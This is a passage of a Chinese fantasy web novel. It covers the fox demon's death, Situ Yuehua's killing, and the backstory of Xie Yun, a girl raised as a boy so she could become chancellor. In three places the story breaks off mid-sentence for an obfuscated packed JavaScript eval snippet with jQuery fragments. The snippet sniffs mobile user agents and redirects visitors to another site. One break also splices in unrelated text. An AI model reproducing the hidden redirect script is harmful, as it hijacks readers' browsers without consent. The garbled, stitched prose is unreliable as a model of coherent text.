这声音撕心裂肺、刻骨铭心,段匆恸然的睁大双眼,呆在原地,茫茫然不知何所以。 苏有容眼见段匆傻傻站着,一动不动,而狐妖嘴角浮出一抹狡黠诡异的笑容,来到了段匆背后。苏有容想阻止,可刚刚失去右手臂的她,连剑都握不稳。 “不!!!” 她大吼道,跌跌撞撞的冲上去,可下一刻,却怔了。 狐妖还保持着从后靠近段匆的姿势,五指成爪,显然是要掏出她的心脏。 但是,他没有做到。 在离她心口堪堪一寸的距离,他的手停了下来。因为有一柄漆黑的长剑已经先一步穿入了他的心脏。 狐妖不可置信,僵硬的缓缓低头,吐出一口鲜血。 “我已经受够了背后捅人的招数。”段匆没有回头,保持着反手的姿势,将剑一寸一寸向后送、直至彻底穿透狐妖的身体。她身上鹅黄色的衣衫烈烈飞扬,这颜色这样娇嫩,可她的神情却并不与之相衬。 明眸皓齿,顾盼生辉中,她的神情褪去许多青涩,多了以往没有的冷峻。 “你的过往很惨,但这并不是你伤害大黎国的理由。” “狐妖,”她转身,狠狠掐住狐妖的脖子,“你该死。” 28. 第26章 狐妖元神本就被撕咬的伤痕累累,如今又被一箭穿心,很快就要死去。只是执拗的凭一口气撑着。 苏有容却仍不放心,取出他的妖丹,彻底捏碎。然后转头,道:“师妹?” “嗯?” “你欠我的,已经还清了。” 段匆不自然道:“什么?” “你觉得自己欠我一条手臂。”苏有容道。狐妖擅长迷人心智,但若是段匆没有对冯兆安一事耿耿于怀,那么狐妖也是无法用此事来刺激她、对付她的。苏有容道:“其实,一切都是因狐妖而起,我恨他这么多年,现在你替我杀了他——你还过我了,你不欠我了。” 段匆一时竟有点想哭:“师姐!” “啧,啧,啧。”狐妖跪在地上,微笑:“我还没死呢,肉麻的话,等我听不见的时候再说好吗?” “华容。”苏有容轻声唤他。 鲜血一滴一滴的顺着剑尖流到地上,狐妖脸色苍白至极,可神情却游刃有余,像是什么都没有发生过。他微笑:“怎么?” “当日我家人杀了千盏,是我们对不起你。但如今,是你对不起所有人。” 听到“千盏”两个字,狐妖微微一怔。 苏有容看到他这副神情,不知为何,竟忽地有些疲惫:“这么多年了,你连她的名字都记不清了。” “是啊。”狐妖有些恍然道。 这么多年了,他渐渐忘了她的容貌,渐渐忘了她的名字,可是,恨意却一直存在,没有一刻消失过。他再次换上那种邪气的得意的笑容:“你们见过那狼妖了?” “其实,当他得知自己是狼妖时,第一反应是死。是杀了他自己。” 段匆瞪大双眼:“你!” “我嘛,”狐妖轻快道,“自然不会让一切变得那么没意思。我们狐狸,擅长的就是乱人心智,只要他在想死之余,心底也有那么一点点的仇恨,那么我就可以煽动,将它放大、再放大,直到他完全被仇恨所控制。” 段匆给了他一个狠狠的巴掌:“混蛋!!!” “咳咳咳……”狐妖嘴角流血,还在笑。 他无辜道:“可是,这不也怪他吗?他若是完全没有一丁点仇恨,那我想挑拨离间、却也无计可施啊。” “就像那姓冯的和姓白的,他们若是不先进行杀妖比赛,那我也不会在逐鹿台进行杀人狩猎啊。若是无人觊觎这皇帝的皇位,那么这朝堂也就不会乱啊。这一切,不都是他们咎由自取么?” “华容,够了。” 苏有容低声道:“你就真的那么恨吗?这么多年了,你还在恨吗?” 千盏,千盏。 狐妖默默将这个名字念了两遍,可是,却觉得那样生涩,那样陌生。 他的神情柔软起来,茫然起来:“谁知道呢?这么多年,恨你,被恨,我都已经习惯了。” “苏有容,你的手呢?” 他悲悯的伸出手,似乎想抓住苏有容。只是,苏有容微微一笑,将他的手腕掰断,从他手中拿出那枚灵光闪闪的毒针,微笑道:“你看,华容,你永远都这么狡猾。” 狐妖微笑:“你看,苏有容,我就知道……你知道。” 他的头蓦然垂了下去。段匆不放心,又检查了一遍,确定他是真的死了,这才舒口气道:“总算。”她忽然呆住了。 只见大颗大颗的泪珠,正从师姐脸上流下。 “师姐,你……你哭了?” “我哭了吗?”苏有容茫然的摸了摸脸,果然满手潮湿。 她道:“也不会是因为伤心。” 顿了顿,又笑了:“谁知道呢?” 千古丞相,万古帝王,此刻他们身处这古老巍峨的皇宫,脚下踩的土地里,埋着多少尸骸,流着多少鲜血,藏着古往今来,多少的爱,又多少的恨—— 谁知道呢? 段匆和苏有容相互扶持着,深一脚浅一脚的回到逐鹿台。 没想到,正好看到景琰面色平静又决然的举起了剑。 段匆失声:“等等——” 已经迟了。 鲜血大概已经浸透了那袭红衣,只是红衣太红、太红,所以连血的颜色也看不出来。 段匆慌张的奔过去,接住司徒月华:“你、你们……” 景琰拔出剑,神色漠然。 好,你高贵,你是皇帝!段匆冷笑,转而咬牙切齿的问谢蕴道:“你们在干什么?” “为什么要杀他?” “我们不是已经知道,他不是真的妖相吗?在逐鹿台设禁术,然后诓狐妖上逐鹿台,救皇帝,”段匆狠狠看了景琰一眼,“他是在帮我们!他是我们一方的!” 谢蕴脸色苍白,摇了摇头。 段匆气道:“你!你到底是怎么了!” 司徒月华的气息越来越弱,他一介凡人,大概设下禁术也已经付出了许多代价。段匆将他慢慢的放倒在地上,他环顾这皇宫一圈,望了逐鹿台一眼,最后,很轻的呼出一口气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060179|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他的最后一抹表情,有种说不出来的感觉,像是释然,又像是无法解脱的愧疚与绝望。 段匆擦擦眼睛:“他死了。”她推谢蕴一把:“你到底在干什么呀?有些人好坏不分、恩将仇报,你不会向他解释吗?” 没想到谢蕴竟毫无防备、恍惚至极,一下被她推的一个趔趄。 段匆慌了,去扶他:“你、你没事吧?” 却见谢蕴痛苦的闭上眼,忽然之间,吐出一口鲜血。 段匆一时呆住了:“谢蕴!” “我知道,但是他们不知道,他们也不能知道。”谢蕴缓缓的指向议殿,方才藏在里面的官员和百姓不知发生了何事,一个个面色茫然又惶恐的朝这里望过来。但在看到景琰杀了司徒月华后,静默一阵,那里爆发出一阵叫好,夹杂着欣喜的啜泣。 “皇上、皇上杀了妖相!” “妖相终于死了……” 景琰走向他们,冷静道:“司徒月华魅惑君心,朕已杀了他了。” “从此往后,一切将和从前一样。” “……” “……皇上英明!”“我朝之幸!” “天佑大黎、天佑大黎啊……” “得民心的最后一步——杀妖相。如今一切都如他所想,他也算死得其所了。”谢蕴说罢,想起爹爹无数个深夜中的呓语,此刻,竟有种感同身受之感。 “蕴儿,爹这辈子,都不是真正的丞相。” 爹一辈子都没比过柳不留,而自己呢? 若今日丞相之位上的人是自己,面对狐妖,他能做的更好吗? 谢蕴忽而自嘲一笑。 罢了,罢了,如今这一切,又与他何干? 他不过是,一个云游四海的普通捉妖师。 城门处,当日的六皇子还在叫嚣,苏有容道:“我赶过来时,赵将军还在与他口舌周旋,先拖住了他。” 景琰道:“走吧,去看看。” 他语气平淡,却透出一种自然而然的高位者的笃定与胸有成竹。似乎一下子,就能安抚慌乱的人心。 段匆他们跟在后面,却见他走了几步,忽然像是想起什么,转身,道:“谢卿家。” 谢蕴已经好多年没有被这样叫过了,一时之间,还没有反应过来。段匆在身后拍了他一把,他才恍然大悟,怔怔的上前一步:“皇上?” 景琰淡淡看了一眼他的男子装扮。 “谢卿家,你穿襦裙的样子,想必也是好看的。” 29. 第27章 “生了,生了,是个男婴!” 一时间,百官纷纷来贺:谢相喜得贵子,恭喜,恭喜啊! 只是,下一瞬间,便又再次传来消息:丞相夫人大出血,没了。 于是,百官们又很发愁的把捆着红绸子、贴着红喜字的礼物通通撤掉,换成了哀悼的诔文。 灵堂之上,不论真心与否,凭谢平生如今一人之下、万人之上的地位,总是不缺哭声的。 外面哭个不停,而里面,谢平生抱着刚出生就没了娘的女儿,也嚎啕痛哭。 谢蕴渐渐长大了。 秋高气爽,谢蕴和赵将军的儿子赵不愚一起上学堂。 讲学的老先生是个十分地道又刻板的酸儒,满口之乎者也,赵不愚听着听着就打起盹来。 一觉睡醒了,老先生还在讲。赵不愚坐不住了。 “谢蕴!谢蕴!” 谢蕴听到了,但是不理他。赵不愚抓耳挠腮道:“哎呀,别听了,他讲的多无聊呀。” 见谢蕴还是不理他,赵不愚偷偷用胳膊肘撞过去,谢蕴的笔和本子都掉到了地上。 “你干什么呀!”谢蕴忍不住了。 “其实你也不爱听是不是?”赵不愚说,“但你就是假,你就是装。” “我!” 谢蕴顿了一下,其实赵不愚说的是实话,老先生讲的确实十分乏味。可是,他认真道:“我是不喜欢,但是,还是得听呀。” 赵不愚:“你干嘛给自己找罪受呀?咱们偷偷溜出去玩儿吧!” “不去。”谢蕴道:“我将来是要做丞相的。” 赵不愚看他这一板一眼的模样就觉得好笑:“做丞相?你跟你爹学的吧。我也跟我爹学,将来想做一个将军。但是我就不像你这么呆板,整天只知道死读书。” 谢蕴想了想,说:“因为,你们打仗的是武将,但我们丞相是文官。” 他说完又不理赵不愚了。赵不愚十分纳闷。 好不容易捱到下课,赵不愚说:“我们去解手吧!” 谢蕴今日喝的水多,此刻也正有此意,于是两人一起风风火火的来到茅厕。 学堂里的茅厕,当然不比丞相府和将军府。这里的茅厕十分简陋,排成一长列展开,每两间中间隔着一堵矮矮的土墙,人站上去,一转头就可以看到彼此。 谢蕴:“这……” 这也太难为情了吧? 赵不愚却大老粗般、毫不在意的就进去了。谢蕴怕被他看不起,说自己娇贵什么的,于是做了一番心理建设后,也假装大大咧咧的模样走进来。 赵不愚:“唉?谢蕴?谢蕴你来我旁边这间,咱俩一起啊!” 谢蕴硬着头皮,来到了赵不愚隔壁。 好不容易缓解了尴尬,正要解决正事,赵不愚诧异的声音在隔壁响起了:“谢蕴你……你蹲下去干什么?”边说,边扒着土墙,半个头探了过来。 “你干嘛!!!”谢蕴吓了一跳,慌忙的往上拎裤子。 “又不是女孩儿,还怕我看到?”赵不愚嘀嘀咕咕着,转过头去了。 “不过,你蹲下去干什么?” “……解手啊。” “不是,”赵不愚不解:“解手干嘛要蹲着?” “……难道不是吗?” 赵不愚:“当然不是了!解手要站着解啊!” 谢蕴疑惑:“当真?可我一直都是蹲着啊。” 赵不愚噗一声笑了:“难道你们文官都是这样解手的吗?哈哈哈哈哈这也太娘们儿了!哈哈哈哈哈哈真好笑!”他得意的一拍胸脯,道:“反正我们就不这样,我爹是站着的,我哥是站着的,我也是站着的!” 被说像娘们儿,谢蕴愤愤,反驳道:“谁、谁说的?我也会站着!” 一番窸窸窣窣的动静之后,赵不愚说:“你好了?” “嗯……好了,当然好了!”谢蕴哆哆嗦嗦的把湿了的裤子系起来。 怎么会这样呢?怎么会这样呢??? 谢蕴幼小的心灵受到了无比大的打击与伤害。 难道,他们文官真的不能站着解手? 他偷偷的探过半个头去,想学学赵不愚是怎么做的。结果,待看清赵不愚的模样之后,谢蕴脑中咔嚓一声,石化了。 当天晚上,谢蕴回到家里,心事重重。 “我儿怎么了?不高兴呀?”谢平生忙完公事,揉揉眼睛,十分慈爱的问谢蕴道。 “爹。”谢蕴小声,见四周无人,才鬼鬼祟祟的凑到谢平生耳朵边:“赵不愚他和我们不一样。” 谢平生懵了:“不一样,怎么个不一样法?” 谢蕴:“他们武将,比我们文官多了……多了……” 谢平生努力跟上他的思维:“多了什么?” 谢蕴仔细回忆赵不愚那东西的模样,长在身下,软软的耷拉着,前面还有些尖尖的,像是,像是……“小鸡!”谢蕴道:“今天我和他一起解手,我看到,他那里比我们多长了一只小鸡!” 谢平生神色复杂。 “爹,他们武将都有小鸡,咱们都没有吗?” “爹?” 许久,谢平生郑重而缓慢的道:“蕴儿,爹有一件事,要告诉你。” 于是,在这个萧瑟凄凉的秋夜,四岁的小谢蕴,第一次得知自己其实并不是男儿。 他,是个女孩子,货真价实的女孩子。 “我、我怎么会是女孩呢?爹爹你没骗我?我不是男儿吗?顶天立地的男儿啊!”乍然听到,谢蕴是不信的,他慌慌张张,下意识反驳。 谢平生却摇了摇头:“蕴儿,当真。” “爹从前是在骗你,但是爹现在没有骗你。” 一番歇斯底里之后,谢蕴接受了这个悲痛的现实,哭的一把鼻涕一把泪。 他竟然是个女孩儿?天知道,他最瞧不起女孩儿了。 她们娇滴滴的,什么都不会做,就知道涂脂抹粉、哭哭啼啼。哪像男儿,志在四方,金戈铁马、定国安邦。 可是,他竟然不是男儿,而是个他从前最讨厌的女孩儿! 谢蕴觉得天都塌了。 “蕴儿,蕴儿,你莫哭,你听爹爹说,”谢平生在一旁急急忙忙的给他抹眼泪道:“这件事只有咱们知道,外人谁也不知道,所以,一切都还是像往常一样。我的蕴儿,就是男儿。” “呜呜,可是,我就是不是……” 谢蕴更加伤心了。他本来就没生成男儿,骗过别人、假装自己是男儿又有什么用?他已经决定好了,明天就换了衣服,安心当个在家绣花的女孩儿,他这辈子都干不成大事了! 谢平生忽然正色道:“蕴儿想当丞相吗?” “想。”谢蕴抽噎道。 “那就必须做男儿。” 谢蕴怔了怔:“爹爹……” 谢平生缓缓道:“千古以来,从没有女子能上得了朝堂,更别提做丞相了。” 他的神情忽然变得很落寞。 没能赢了柳不留,是他此生之憾。所以,当夫人怀孕的那一天起,他就暗暗发誓,一定要让他们的孩子,堂堂正正的成为丞相。 只是…… 夫人因生产,大出血而死。 而他们的孩子,是个女儿。 谢平生深爱亡妻,立誓不再另娶。可是,一个女儿,是无论如何也做不得丞相的。于是,谢平生瞒过了所有人,将谢蕴自小就当做一个小公子来养。这几年来,他差点自己都忘了,差点自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这位胖乎乎的同僚不住赞叹。 他心里有个小算盘,话说人生第一大乐事嘛,除了吃,还是吃。所以这位同僚于吃喝一道上可谓精通无比。 大鱼大肉,家禽海味,珍馐小菜……这位同僚吃的多了,渐渐的总结出一个真理—— 清蒸的,不如红烧的。家养的,不如野生的。 只可惜,他不善骑射,府里的仆从们也随了他,只知道吃,而不会猎。 所以平常能吃到的,大都是家养的。 此时见谢蕴射到一只野兔,他已经下意识分泌唾液,想象着明日可以大吃一顿野味的麻辣兔头了。 果然,谢蕴听了十分受用,道:“子贤兄若喜欢,这只兔就送给你,你带回府里吃吧。” 同僚霎时十分欢喜。 谢蕴又道:“一只兔也太少,既有野兔,那必然会有野兔窝,子贤兄,待我将它们一锅端起,然后尽数送到你府上。” 同僚更加欢天喜地,点头如捣蒜。 于是谢蕴纵马往丛林深处去。 其余诸位同僚,在原处兜马逛了几个圈子,闲聊说笑。 不知过了多久,谢蕴还没回来,而这时,大家听到了一声危险的狼嚎。那位胖乎乎同僚的脸色瞬间就变了,哭丧道:“狼!完了!我的兔子!” 大家纷纷指责道:“子贤兄,谢尚书的安危还不可知呢,你怎么还惦记着你那兔子?” 这位同僚意识到自己太不仗义,连忙称是,于是一行人壮壮胆子,到丛林深处去寻找谢蕴。 30. 第28章 “啊呜——” 狼的嚎叫声越来越近了,大家心里都有点发怵。同僚之中唯一的武将赵小将军,在这个时候不能不挺身而出了。他拍拍胸脯,安慰道:“大家莫怕,待见了那狼,我绝对能制服它,不让大家受伤害。” “还有我的兔子……” “唉,子贤兄,你可真是……”大家扶额苦笑。 这时,他们来到了一丛灌木面前,狼的嚎叫好像就是从这后面传来的。 赵不愚咽口口水,握紧剑,示意大家后退,然后大叫一声,猛地掀开灌木,跳出去,闭着眼睛、挥着剑一顿乱砍。 “……” 这、这这这这这??? 同僚们惊呆了,纷纷都道这人靠不住啊,于是拿起木棍、捡起石块,仗着人多势众,纷纷都冲到了灌木丛里。 呃…… 看清眼前景象,大家都十分惊讶,但同时,也松了一口气。 “谢尚书,你没事啊?” 谢蕴脚下踩着的,正是那只嚎叫的恶狼。他笑眯眯道:“没事,我抓住它了。” 赵不愚咳道:“抓住了就好,也省得本小将军再出手。” 同僚们顿时都憋不住的噗嗤笑了起来。谢蕴也乐道:“哈哈哈哈哈哈!你出手和不出手也没什么区别。” 赵不愚脸色铁青,但又无法反驳。 “诸位,这只狼,还有一个奥妙。”谢蕴笑呵呵道。 “哦?”“什么奥妙?” “……我看它,神情颇为丰富啊,简直和人一样。” 谢蕴笑道:“正是。” 这狼只是受了伤,并未死去,仇恨的趴在地上。谢蕴踩它,道:“说话!” 狼龇牙咧嘴的咆哮。 谢蕴凶道:“说话!否则我生剥了你的皮!” 恶狼虽不情愿,但还真怕他活剥了自己的皮,只得闷闷不乐的道:“干嘛?” 大家都惊呆了。 原来,这是只修炼成功的狼妖! 如果方才,大家对谢蕴的恭维只是表面上的客套的话,那么,现在,大家就是真的佩服谢蕴了。他竟以凡人之身,一己之力,解决了一只妖怪! “谢尚书文武双全,年轻有为……” 同僚郑重道:“丞相之位,指日可待啊!” “是啊,是啊,有其父必有其子!” 谢蕴听的心里乐呵呵的,表面上连连摆手道:“哪有哪有?大家抬爱了。”脑中却已经在幻想自己红袍加身的模样。 “这只狼妖怎么办?” 要回去时,同僚们道。狼妖一听,顿时焦躁的咆哮起来:“你们这群蠢货,放了我!” 后来见大家并不吃这一套,于是不再威胁,转而作出一副可怜兮兮的模样:“求求你们,放了我吧,我不会再作恶的……” 它的眼睛蓦然睁圆了,声音也戛然而止了。 谢蕴干净利落的把剑从它脖子上拔出来,然后还给赵不愚。 “妖物就是妖物,竟还敢乞求怜悯。”他不屑道。 后半句话留在心里没有说出来——尤其,是狼妖。 当年杀了柳相、让他爹耿耿于怀了一辈子的狼妖,更加罪该万死。 “好了,夜也深了,诸位同僚,我们回去吧。” 大家便又乐呵呵的、兴致很高的打道回府。 只有两个人不太高兴,一个是没有得到一窝兔的冯子贤,咂舌惋惜了好一会。但最后,他也想开了,没有一窝,毕竟还有一只嘛! 有总比没有好,吃一只,总比不吃好! 还有一个不高兴的,就是捧着沾满狼妖血迹的剑的赵不愚。 赵小将军神色复杂,一路一言不发,待回到将军府,他一个人,在假山边,练了一夜的功夫。 “公子,这么高兴呀!”幼翠看谢蕴高兴,自己也开心,蹬蹬蹬的忙前忙后,给谢蕴准备换洗衣服,再准备一碗醒酒汤。 谢蕴喝了汤,笑眯眯的悄悄道:“幼翠,不用找衣服了。” “可是公子,你的衣服脏了,上面有狼血。” 谢蕴从怀里拿出一个包裹,递给幼翠,狡黠的眨巴眨巴眼:“看我带什么好东西回来了?” 幼翠半信半疑的打开这包裹,顿时一怔,许久,委屈的瘪了嘴,神色像是要哭出来般,声音里也带着哭腔:“小姐。” 这里面,是几条漂亮的襦裙,几支美丽的簪子,零零碎碎的花钿、傅粉、胭脂、眉笔……一个女儿家的小小心事,装满在其中。 “回来路上顺便买的,幼翠,我今晚就穿这个吧。” “哎呀,你这是干什么?”谢蕴看她神色不对,忙道:“本公子就是觉得这些东西看起来颇为新奇,想尝试一下罢了。这有什么好哭的?好了,我先去沐浴,你准备准备,来帮本公子更衣。” 幼翠快速的用手背抹了抹眼角,破涕为笑道:“好!幼翠一定把小姐打扮的美美的!” 谢夫人是个美人。 而作为她的女儿,谢蕴也是个美人。 待他换好衣服,幼翠都有些看呆了。平日里,小姐总是身着男装,又喝了专门弄哑嗓子的汤药,行为举止,也故意有些大大咧咧、不着边际。是以,再美的容貌都被削弱了。 而今,他换上水蓝色襦裙和广袖上襦,点上花钿,擦上胭脂,再放下平日里总是束起来的头发,将其挽出一个垂云髻,再点缀上一支薄如蝉翼、颤颤巍巍的金蝴蝶发簪,一双灵动的大眼睛透着些不自然的羞怯,又透着些兴奋与激动,尖而小巧的下巴,无端的让人心生怜惜。 幼翠道:“小姐,你真漂亮!” “真的吗?”谢蕴拉了拉这衣服的袖子,比他平日里穿的薄而飘逸,衣服的后摆,也比他平日里穿的长而逶迤。 他试探着向前走了一步,道:“完了。” “啊?”幼翠不解。 谢蕴深吸一口气:“我不会走路了。” 幼翠笑道:“小姐,我来扶你。” 谢蕴抓住她手臂,还在啧啧称奇:“这种衣服走起路来真的不会绊倒吗?” 幼翠道:“不会啦!小姐你只是没有穿惯。”想起什么,又立马沉默下来。 谢蕴却并未察觉到什么,一心都放在此时的穿着与装扮上。幼翠扶着他走了一段路后,他觉得自己好像会走了,于是放开幼翠,一个人走了几步,走着走着,跑了起来。 幼翠掩嘴笑道:“小姐你慢点!” “没事,我会走了!”谢蕴神采奕奕。 一转头,看到空中飞舞着点点绿色的晶莹的光亮。 “萤火虫?” 原来走着走着,他们竟来到了丞相府的后花园。这里有一片大大的池塘,里面朵朵荷花,散发清香。这里还有各种怪石嶙峋的假山,其中又蜿蜒着道道小小的溪流,萤火虫就在这地方漫天的飞舞。 谢蕴今晚喝了点酒,又杀了一只狼妖,兼之同僚们那番他日后必为丞相的话颇得他心意。 此刻,他只觉心中充满凌云壮志,整个人意气风发,处于一种很亢奋的状态。 或许,这其中,也有这身打扮的加持。 “银烛秋光冷画屏,轻罗小扇扑流萤。”他念道。 继而兴致勃勃的挥手:“幼翠,我们去拿几面团扇来!” “小姐,干什么呀……” “捉萤火虫呀!笨蛋!对了,我带来的衣服还有几套,你挑件自己喜欢的,也换上,打扮打扮。” 幼翠左右看看:“不好吧,小姐,夜已经很深了,我们就在这里乱跑吗?” 谢蕴:“正是因为深夜没人,所以我们才可以随心所欲的乱跑呀。” 他这么一说,幼翠又操起一颗老妈子般慈爱的心:小姐真可怜,好不容易穿次漂亮衣服……唉,好吧,就陪她这一次吧! 幼翠虽答应的颇有疑虑,但其实,真正玩起来,她就什么都忘了,比谢蕴还疯。 她去房中换了衣服,谢蕴瞧着她啧啧赞叹:“幼翠,你也好漂亮呀!” “真的吗?”幼翠喜道。 两人面对面,互相打量,都觉得对方比平日里美出千百倍。 然后两人携了几面美轮美奂、花团锦簇的团扇,一路笑笑闹闹的又来到后花园。 天空如墨,夜色酣畅,这里寂静极了,再无别人,唯有漫天星星点点的萤火虫,围绕着她们,上上下下的飞舞。 谢蕴和幼翠玩的满头大汗、气喘吁吁。到后来,这群萤火虫远远的看到他们,就扇动着翅膀躲开。谢蕴道:“真有意思,它们学聪明了。” “小姐,萤火虫抓不住了,那我们俩来捉迷藏吧!”幼翠正兴起,不想收手睡觉,眨巴着亮晶晶的眼睛,提议道。 谢蕴道:“好!” 幼翠道:“我先藏,你数五十个数,然后来找我!” 说罢,她拎着裙摆快速的跑开了。谢蕴闭上眼睛,数到五十,然后放声道:“幼翠,你藏好了吗?” 万籁俱寂。 哼,这丫头,也学聪明了。 谢蕴先在池塘边找了找,水中的荷花茂密,是个藏人的好地方。不过,幼翠应该不会为了一个捉迷藏,而湿淋淋的跳到水里去吧。这也太不划算了。 谢蕴于是放弃这里,转而转悠到假山中。 按照爹爹的清高,当初丞相府修缮时,他的第一要求就是不能铺张奢华,不能富丽堂皇。所以,丞相府里的亭台楼阁都修建的十分简朴,一眼望去,灰扑扑的,十分不起眼。 而与之相反的是,爹爹十分喜爱山水、崇尚自然。 所以,丞相府多出来的地皮,他令工匠全部建成了后花园,在里面种上各种梅兰竹菊等各种花草树木,挖一个波光粼粼的大池塘,再放上各种假山,引流出许多小溪,简直,是一个古香古色的世外桃源。 平日里有什么烦心事,他都会来这后花园逛上一圈,赏荷,观鱼,听鸟鸣,闻花香。 世俗纷扰,也就变得不那么令人难受了。 当初谢蕴得知自己是男子时,好几个晚上,也都偷偷躲在后花园里大哭。 只是……这样大的一个后花园,此时就显现出了它的弊端。 一个人藏入其中,也太难找了吧! 谢蕴在黑濛濛的假山中找了半晌,连幼翠的影子都没看到。他发愁的想了想,心道:难道幼翠藏到了那边的花草树木里? 于是谢蕴又走过去。 所谓花草树木,其实,不仅仅是几株花草和几棵树了,它的规模相当庞大可观,几乎相当于一片小森林。里面有松柏,有梅花,还有一片高耸入云的青竹林。 谢蕴找了大半片树林,甚至连树上面都没放过,却还是没找到幼翠。 他不禁十分挫败。 忽而之间,灵光一闪,他愤愤的一拍手:对了! 这里这么大,幼翠完全有可能先躲在这树林里,待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060181|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她找完了池塘假山那边,便偷偷的又躲到那边去。而她迟了一步,最后来这里找,却殊不知这丫头已经转移了阵地!而且,此时可能正在假山那边,捂着嘴偷偷的笑呢。 怪不得她要先藏! 这地方,怎么可能抓住人嘛? 谢蕴顿时愤愤的要去找幼翠理论,但此时,他忽然听到了一阵窸窸窣窣的动静,从竹林里传来。 就剩竹林没找了。 难道说,幼翠没有那么聪明,没想到什么调虎离山,而是自始至终都躲在这竹林里? 谢蕴哼哼一笑,大步踏入其中。 “找到你了!” “……” “……” “……” 谢蕴魂都没了。 只见竹林中的石台旁,坐着两个人。 一个,是他爹。 另一个,身着玄色朝服的,是当今太子、日后皇帝,景琰。 谢平生最开始还没认出来,心想府里何时多了这样一个明艳动人的姑娘,待后来,看清谢蕴容貌,顿时睁大双眼,脑中咯噔一声,惊的从石凳上跌下来,一个屁股墩坐在了地上。 景琰起身,神色平静的将谢平生扶起来。 谢平生颤颤巍巍,站起来,又软下去,再站起来,又软下去。 最后他道:“太子殿下,老臣、老臣就先坐在地上吧。” 景琰并不出众,没有那种雍容华贵的帝王之气。他站在这里,就好像一个寻常人家清秀文静的小公子,漆黑的眼珠子扫过谢蕴,也就是寻常的看人一眼,并没有什么危险压迫的气息。 但是谢蕴此时只觉得,一千一万根针扎在自己身上。 他头晕眼花、口干舌燥、跌跌撞撞的转身就跑。 “小姐,小姐,小姐!”幼翠见谢蕴这么长时间都没有找到自己,于是很快乐的主动现身,从假山中钻出来——她一开始的确藏在树林里,后来见谢蕴找过了假山,于是又偷偷转移到了这里。 只是没想到,正遇上谢蕴从小树林中狂奔出来,失魂落魄的样子。 “小姐,我在这里!你怎么了!”幼翠扶住他,担忧道。 谢蕴好一会才将涣散的眼神重新对焦起来,他用力抓住幼翠的手,绝望道:“幼翠,我完了。” “小姐?!” “我不会成为丞相了,甚至,也做不得尚书了。” 谢平生送别景琰,径直来到了谢蕴的卧房前。谢蕴已跪了多时,咬着唇,眼泪打湿了脸上的胭脂。他双手捧着一根藤棍,见到谢平生,高高的递上去:“爹爹,你打死我吧。” 谢平生颤抖着手接过来。 谢蕴哽咽着闭上眼睛。 预想中的疼痛却并未到来。谢蕴有些不解的睁开眼,看到谢平生眼眶发红,将藤棍远远的丢出去:“蕴儿!” 他涕泪横下:“是爹对不起你!” “是爹,”他哽咽,“一开始就将你谎报为男婴,让你不得不做个男儿,这么多年,连穿襦裙的机会都没有。我的蕴儿,像极了你娘,风华绝代,光彩照人……只是这么多年,爹都做了些什么啊!” 他哭,谢蕴也忍不住哭。 “爹,我不怪你,是我自己想当丞相的,这些年来,做男子也都是我心甘情愿的。” “不,不……最开始也是爹,将丞相的执念寄托在你身上的。” “爹对不起你啊!” “爹!” 父女两个抱头痛哭,幼翠在一旁劝,劝着劝着自己也开始哭。 直到天光微微泛白,三人才终于止住哭泣。谢平生擦着脸道:“幼翠,快,给小姐收拾收拾东西。” “收拾……东西?” 谢平生:“她该走了。” “爹!我不走!景琰如果要怪罪的话,一切都冲着我来就好了。” 谢平生拉了她的手:“蕴儿,放心,太子殿下是不会降罪我们的。” 谢蕴哪能放心:“可这是欺君大罪……” 谢平生缓缓道:“可是,太子殿下如今还不是皇上。” 谢蕴怔了怔,顿时懂了。 如今他谢家犯下此等欺君大罪,被景琰知晓。尽管谢蕴与景琰自幼相识,可这份交情,是靠不住的。谢蕴知道。 但,皇位,是靠得住的。 朝堂分成许多党派,有人向着六皇子,有人向着四皇子,而他谢家,无人不知晓,他们向着的,是皇上正宗加封的太子——只要皇上还未废太子,那么他谢家就始终效忠于景琰。 所以,景琰不可能在此时,就将谢家拉下台。这无异于自折羽翼。 靠不住的是情分,靠得住的是权力。谢蕴不知是该庆幸,还是该叹息。 “只是他虽会放过我们,但蕴儿你的真实身份毕竟被他知晓,从此,再踏入朝堂是不可能了。且若干年后,若太子殿下当真做了皇帝,那时,你的身份,恐怕又会成为我们捏在他手中的软肋与把柄。”谢平生绕是不舍,也只能送谢蕴离开了。 “蕴儿离开这里,便可以安安心心做个女子了。” “想爹爹与幼翠他们了,便偷偷的写封信送过来。” 天空泛出鱼肚白,清晨的第一缕阳光,璀璨照射下来。 谢蕴背上包裹,最后看一眼自己生活了二十年的地方,对着泪眼婆娑的爹爹和幼翠挥挥手。 转身,迈出丞相府的门槛。 天下之大,四海为家。 31. 第29章 谢蕴幼小时,第一次得知自己是女子,哭的伤心欲绝、眼泪鼻涕一大把。 但后来渐渐长大,她发现,女子也没有那么不好。 她是个女子,可就是她这个女子,做了尚书,并且做的并不差。 女儿家并不是脂粉堆里只会哭哭啼啼、十指不沾阳春水的娇小姐,女儿家,也可如男子一样,经国纬民,顶天立地。 